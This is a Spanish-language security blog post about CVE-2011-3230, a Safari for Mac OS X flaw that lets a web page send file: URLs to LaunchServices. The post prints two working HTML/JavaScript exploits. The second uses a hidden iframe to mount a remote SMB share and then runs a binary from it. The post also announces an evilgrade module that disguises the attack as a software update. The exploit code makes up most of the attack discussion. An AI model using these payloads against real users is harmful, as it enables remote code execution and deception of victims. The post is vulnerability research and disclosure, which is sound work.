El pasado 12 de Octubre Aaron Sigel hizo publico interesante bug (CVE-2011-3230) en la ultima version de Safari < 5.1.1 solo version Mac OS X.
Esta vulnerabilidad como comenta Aaron “allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page.”
El siguiente POC ilustra la vulnerabilidad:
<html> <head> <base href="file://"> <script> function DoIt() { alert(document.getElementById("cmdToRun").value); document.location=document.getElementById("cmdToRun").value; } </script> </head> <body> <select id="cmdToRun"> <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option> <option value="/etc/passwd">Launch /etc/passwd</option> <option value="/Applications/Utilities/Bluetooth File Exchange.app"> Launch Bluetooth File Exchange.app</option> </select> <br /> <input type=button value="Launch" onclick="DoIt()"> <br /> </body> </html> |
Por lo que podemos observar no se pueden pasar argumentos y hay que saber exactamente el path de lo que se necesita ejecutar.
Adicionalmente LaunchServices verifica el bit quarantine con lo cual no es posible ejecutar directamente un binario bajado desde internet.
Modificando un poco el exploit logramos ejecutar un binario que controlemos:
<html> <head> <base href="file://"> </head> <body> <iframe src="smb://Administrador:X@x.x.x.x/C$" width="0" height="0" scrolling="auto" frameborder="1" transparency> </iframe> <script> function sleep(milliSeconds){ var startTime = new Date().getTime(); // get the current time while (new Date().getTime() < startTime + milliSeconds); // hog cpu } sleep(8000); document.location="/Volumes/C$/infobyte/ls"; </script> </body> </html> |
En este ejemplo:
1) Obligamos a montar una partición por SMB, de esta manera podemos adivinar el directorio /Volumes/[NAMESHARE]
2) Luego dejamos un sleep para hacer tiempo hasta que se monte la unidad
3) Por ultimo ejecutamos el binario, en este caso un simple "ls"
Para este ataque se puede utilizar otros protocolos como FTP/AFP
El problema es que un warning pide la confirmacion del usuario para ejecutarlo.
Agregamos el modulo safari.pm a evilgrade para aprovechar esta vulnerabilidad y hacer creer a los usuarios que es una actualizacion.
La ultima version la pueden ver en: https://code.google.com/p/isr-evilgrade/source/list
Lo divertido es que hay file types desconocidos por Mac y estos sin warnings pueden ser ejecutados por el launch services.
El siguiente PoC, utiliza como protocolo FTP y luego ejecuta un PDF
http://www.infobytesec.com/exploit/ISR-safaripoc.html
Imaginemos por ejemplo la combinacion de esta vulnerabilidad con algun file type explosivo.
Excelente old school bug felicitaciones a Aaron Sigel (@diretraversal) por el descubrimiento.
Referencias:
http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html
http://support.apple.com/kb/HT5000
ليست هناك تعليقات:
إرسال تعليق